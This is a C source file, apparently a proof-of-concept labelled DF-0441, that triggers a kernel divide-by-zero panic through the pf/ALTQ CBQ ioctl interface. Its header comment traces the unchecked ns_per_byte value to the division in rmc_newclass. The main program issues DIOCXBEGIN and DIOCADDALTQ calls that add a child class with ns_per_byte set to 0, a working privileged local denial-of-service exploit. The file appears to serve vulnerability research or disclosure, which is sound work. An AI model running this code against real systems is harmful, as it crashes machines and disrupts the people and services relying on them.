DF-0441 / cbq_div0.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 | /* * DF-0441 — CBQ rmc_newclass() / rmc_modclass() integer divide-by-zero * when nsecPerByte == 0 * * Mechanism (root-only path via /dev/pf ioctls): * User-supplied struct pf_altq.pq_u.cbq_opts.ns_per_byte flows verbatim and * unchecked into: * altq_cbq.c:374 rmc_newclass(..., opts->ns_per_byte, ...) * altq_rmclass.c:237 cl->allotment_ = RM_NS_PER_SEC / nsecPerByte; * nsecPerByte == 0 -> integer divide-by-zero -> kernel panic. * Same div is at altq_rmclass.c:350 in rmc_modclass(). No zero check * anywhere in the path. pfctl computes ns_per_byte from bandwidth ratios * and won't produce 0, but a malicious root can issue DIOCADDALTQ directly * with cbq_opts.ns_per_byte = 0 and trigger the panic. * * Transaction model on /dev/pf: * DIOCXBEGIN rs_num=PF_RULESET_ALTQ -> get ticket * DIOCADDALTQ (qname="") -> cbq_add_altq (discipline) * DIOCADDALTQ (qname="rootq", ROOTCLASS) -> rmc_init (no div) * DIOCADDALTQ (qname="childq", ns_per_byte=0) -> rmc_newclass -> DIV0 * * Trigger requires root: /dev/pf ioctls need root. Privileged local DoS. * * Expected result: kernel panic "divide error", guest dies. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <net/if.h> #include <net/pf/pfvar.h> #include <net/altq/altq.h> #include <net/altq/altq_cbq.h> #define IFNAME "vtnet0" static int begin_altq_txn(int fd, u_int32_t *ticket) { struct pfioc_trans_e te; memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; te.anchor[0] = '\0'; struct pfioc_trans tr; memset(&tr, 0, sizeof(tr)); tr.size = 1; tr.esize = sizeof(te); tr.array = &te; if (ioctl(fd, DIOCXBEGIN, &tr) < 0) return -1; *ticket = te.ticket; return 0; } static int commit_altq_txn(int fd, u_int32_t ticket) { struct pfioc_trans_e te; memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; te.ticket = ticket; struct pfioc_trans tr; memset(&tr, 0, sizeof(tr)); tr.size = 1; tr.esize = sizeof(te); tr.array = &te; return ioctl(fd, DIOCXCOMMIT, &tr); } int main(void) { int fd = open("/dev/pf", O_RDWR); if (fd < 0) { perror("open /dev/pf (need root + pf.ko)"); return 2; } int rc = 0; u_int32_t ticket = 0; void *disc = NULL; struct pfioc_altq pa; /* Start pf if not already. */ if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST) { fprintf(stderr, "DIOCSTART: %s\n", strerror(errno)); } /* Begin altq transaction. */ if (begin_altq_txn(fd, &ticket) < 0) { fprintf(stderr, "DIOCXBEGIN(ALTQ): %s\n", strerror(errno)); rc = 1; goto out; } printf("altq ticket=%u\n", ticket); /* (1) Add the CBQ discipline. */ memset(&pa, 0, sizeof(pa)); pa.ticket = ticket; pa.altq.scheduler = ALTQT_CBQ; pa.altq.ifbandwidth = 1000000000; strlcpy(pa.altq.ifname, IFNAME, sizeof(pa.altq.ifname)); if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { fprintf(stderr, "DIOCADDALTQ(discipline): %s\n", strerror(errno)); rc = 1; goto rollback; } printf("CBQ discipline added; altq_disc=%p\n", pa.altq.altq_disc); disc = pa.altq.altq_disc; /* (2) Add ROOT class (CBQCLF_ROOTCLASS). Calls rmc_init -- safe. */ memset(&pa, 0, sizeof(pa)); pa.ticket = ticket; pa.altq.scheduler = ALTQT_CBQ; pa.altq.ifbandwidth = 1000000000; pa.altq.bandwidth = 1000000000; pa.altq.qid = 1; pa.altq.parent_qid = 0; pa.altq.priority = 0; pa.altq.qlimit = 30; pa.altq.altq_disc = disc; pa.altq.pq_u.cbq_opts.flags = CBQCLF_ROOTCLASS; pa.altq.pq_u.cbq_opts.ns_per_byte = 1; strlcpy(pa.altq.ifname, IFNAME, sizeof(pa.altq.ifname)); strlcpy(pa.altq.qname, "rootq", sizeof(pa.altq.qname)); if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { fprintf(stderr, "DIOCADDALTQ(root class): %s\n", strerror(errno)); rc = 1; goto rollback; } printf("Root class added; qid=%u\n", pa.altq.qid); u_int32_t root_qid = pa.altq.qid; /* (3) Add a NON-ROOT class with ns_per_byte = 0. * cbq_add_queue_locked -> rmc_newclass(pri, &ifnp, nsecPerByte=0, ...) * -> altq_rmclass.c:237 cl->allotment_ = RM_NS_PER_SEC / 0 -> DIV0. */ printf("\n*** ABOUT TO ADD CHILD CLASS WITH ns_per_byte=0 -- EXPECT DIV0 PANIC ***\n"); fflush(stdout); memset(&pa, 0, sizeof(pa)); pa.ticket = ticket; pa.altq.scheduler = ALTQT_CBQ; pa.altq.ifbandwidth = 1000000000; pa.altq.bandwidth = 50000000; pa.altq.qid = 2; pa.altq.parent_qid = root_qid; pa.altq.priority = 1; pa.altq.qlimit = 30; pa.altq.altq_disc = disc; pa.altq.pq_u.cbq_opts.flags = 0; pa.altq.pq_u.cbq_opts.ns_per_byte = 0; /* <<<<< THE BUG */ strlcpy(pa.altq.ifname, IFNAME, sizeof(pa.altq.ifname)); strlcpy(pa.altq.qname, "childq", sizeof(pa.altq.qname)); if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { fprintf(stderr, "DIOCADDALTQ(child ns_per_byte=0): returned %s\n", strerror(errno)); fprintf(stderr, "If you see this, kernel did NOT panic -- div0 guard " "held or path not reached.\n"); rc = 1; goto rollback; } printf("UNEXPECTED: child class added without panic (qid=%u)\n", pa.altq.qid); rc = 0; rollback: /* If we got here without panic, rollback the txn so we don't leak. */ if (rc != 0) { struct pfioc_trans_e te; memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; te.ticket = ticket; struct pfioc_trans tr = { .size = 1, .esize = sizeof(te), .array = &te }; ioctl(fd, DIOCXROLLBACK, &tr); } out: close(fd); return rc; } |